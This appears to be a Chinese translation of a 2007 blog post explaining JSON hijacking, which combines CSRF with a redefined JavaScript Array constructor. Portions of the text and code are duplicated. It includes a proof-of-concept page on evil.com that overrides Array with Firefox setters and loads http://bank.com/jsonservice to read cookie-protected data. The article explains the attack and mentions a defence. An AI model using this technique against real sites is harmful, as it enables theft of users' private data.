原文:http://getahead.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html
作者:Joe Walker
译者: Tony Qu
我最近看到过 一些有关把JSON用于保密数据的讨论,而且我也不是很清楚有多少人了解其中的风险。
我个人认为JSON只能用于可公开的数据,其他数据都不能使用JSON,除非你使用的URL无法预测,JSON才是安全的。
这里有两个问题。一个是CSRF(Cross Site Request Forgery,跨站点伪造请求攻击),它允许攻击者绕过基于cookie的身份认证,前些天我曾在Blog上介绍过 这种攻击。另外, 维基百科也说到了这个东西,你可以用CSRF在一个远程服务器上调用由cookie保护着的数据。“恶魔“先生可以利用这项技术把“无辜”女士的银行账号里的钱转到他的账户中。
还有一种则鲜为人知,那就是JSON/数组攻击,这可以让某个用户在Mozilla上偷取JSON数据,其实只要是任何使用当代的JavaScript解释器的平台都会都可以实施该攻击。
更新:不单单可以从Array偷数据,还可以 从Object偷。
有很多种从一个服务器获得数据的方法,但这其中比较有趣的是XHR、iframe、脚本标签。如果不了解 JSON/数组 攻击,那很容易产生如下的结论:
XHR:浏览器跨域规则一开始就阻止了攻击者发出请求
iframe:攻击者可以嵌入一个指向一些远程服务器的iframe(在上面的例子中这个远程服务器就是银行的服务器),并用它来发送一些JSON,但是浏览器跨域规则阻止了来自攻击者所在域的脚本,这段脚本是用来读取响应的,因此这个JSON是安全的,因为它从来没有被eval过。
脚本标签:攻击者会嵌入一个指向远程服务器的脚本标签,而浏览器会把你的回复eval一把,然后浏览器会丢弃响应,这个JSON就是全部的相应,所以这是安全的。
这些参数的最后一个值得怀疑,JavaScript的动态特性将允许你重新浏览器对JSON赋值的方式。
下面是它的工作原理,你可以用任何JavaScript控制台跟踪这段代码:
1. 重新定义Array构造器
function Array() { alert("hi"); }
2. 验证一下在创建数组时,这个构造器是否被调用
var a = [ 43 ];
3. 使用新功能修改这个数组
所以我们能用一个script标签来调用保密的JSON数据,使用CSRF绕过cookie身份认证,然后用JSON/数组攻击在浏览器处理那个script标签时偷取JavaScript数据。
因此我们重新定义了Array构造器,实际情况下我们如何获得数据呢?下面的语法在当前版本的FireFox运行正常,虽然在我的知识范围内,这并不是 JavaScript2标准的一部分,但是这段代码无法在IE/Safari/Opera下顺利运行。
在evil.com创建一个网页,用下面这段script标签:
有了 DWR,虽然我们使用的是纯JavaScript它与JSON一样脆弱,但是DWR的CSRF保护能自动使用双重提交cookie模式来提供额外的保护。
我并不是提出这个问题的第一个人,Jeremiah Grossman在一年前 用它黑了GMail
作者:Joe Walker
译者: Tony Qu
我最近看到过 一些有关把JSON用于保密数据的讨论,而且我也不是很清楚有多少人了解其中的风险。
我个人认为JSON只能用于可公开的数据,其他数据都不能使用JSON,除非你使用的URL无法预测,JSON才是安全的。
这里有两个问题。一个是CSRF(Cross Site Request Forgery,跨站点伪造请求攻击),它允许攻击者绕过基于cookie的身份认证,前些天我曾在Blog上介绍过 这种攻击。另外, 维基百科也说到了这个东西,你可以用CSRF在一个远程服务器上调用由cookie保护着的数据。“恶魔“先生可以利用这项技术把“无辜”女士的银行账号里的钱转到他的账户中。
还有一种则鲜为人知,那就是JSON/数组攻击,这可以让某个用户在Mozilla上偷取JSON数据,其实只要是任何使用当代的JavaScript解释器的平台都会都可以实施该攻击。
更新:不单单可以从Array偷数据,还可以 从Object偷。
有很多种从一个服务器获得数据的方法,但这其中比较有趣的是XHR、iframe、脚本标签。如果不了解 JSON/数组 攻击,那很容易产生如下的结论:
XHR:浏览器跨域规则一开始就阻止了攻击者发出请求
iframe:攻击者可以嵌入一个指向一些远程服务器的iframe(在上面的例子中这个远程服务器就是银行的服务器),并用它来发送一些JSON,但是浏览器跨域规则阻止了来自攻击者所在域的脚本,这段脚本是用来读取响应的,因此这个JSON是安全的,因为它从来没有被eval过。
脚本标签:攻击者会嵌入一个指向远程服务器的脚本标签,而浏览器会把你的回复eval一把,然后浏览器会丢弃响应,这个JSON就是全部的相应,所以这是安全的。
这些参数的最后一个值得怀疑,JavaScript的动态特性将允许你重新浏览器对JSON赋值的方式。
下面是它的工作原理,你可以用任何JavaScript控制台跟踪这段代码:
1. 重新定义Array构造器
function Array() { alert("hi"); }
2. 验证一下在创建数组时,这个构造器是否被调用
var a = [ 43 ];
3. 使用新功能修改这个数组
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
--> function Array() {
this [ 1 ] = 50 ;
}
var a = [ 40 ];
alert(a[ 0 ] + a[ 1 ]); // 结果是90
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
--> function Array() {
this [ 1 ] = 50 ;
}
var a = [ 40 ];
alert(a[ 0 ] + a[ 1 ]); // 结果是90
所以我们能用一个script标签来调用保密的JSON数据,使用CSRF绕过cookie身份认证,然后用JSON/数组攻击在浏览器处理那个script标签时偷取JavaScript数据。
因此我们重新定义了Array构造器,实际情况下我们如何获得数据呢?下面的语法在当前版本的FireFox运行正常,虽然在我的知识范围内,这并不是 JavaScript2标准的一部分,但是这段代码无法在IE/Safari/Opera下顺利运行。
在evil.com创建一个网页,用下面这段script标签:
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
--> < script type = 'text / javascript' >
function Array() {
var obj = this ;
var ind = 0 ;
var getNext = function (x) {
obj[ind ++ ] setter = getNext;
if (x) alert(Data stolen from array: " + x.toString());
};
this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
--> < script type = 'text / javascript' >
function Array() {
var obj = this ;
var ind = 0 ;
var getNext = function (x) {
obj[ind ++ ] setter = getNext;
if (x) alert(Data stolen from array: " + x.toString());
};
this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>
出于演示目的,我已经重新定义了这个页面中的Array构造器,如果你在Firefox上,你将看到一个alert窗口。(译者注:演示示例请见原文)。 (如果你在blog聚集器中读取这个例子,上面的脚本会被过滤掉,所以它无法正常工作。你可以试一下这个页面,如果这段脚本没有被过滤掉,那我建议你马上更换一个新的聚合器,因为它有很严重的安全问题。)总之一句话:JSON在使用cookie来做身份认证的任何系统上都不安全。
有了 DWR,虽然我们使用的是纯JavaScript它与JSON一样脆弱,但是DWR的CSRF保护能自动使用双重提交cookie模式来提供额外的保护。
我并不是提出这个问题的第一个人,Jeremiah Grossman在一年前 用它黑了GMail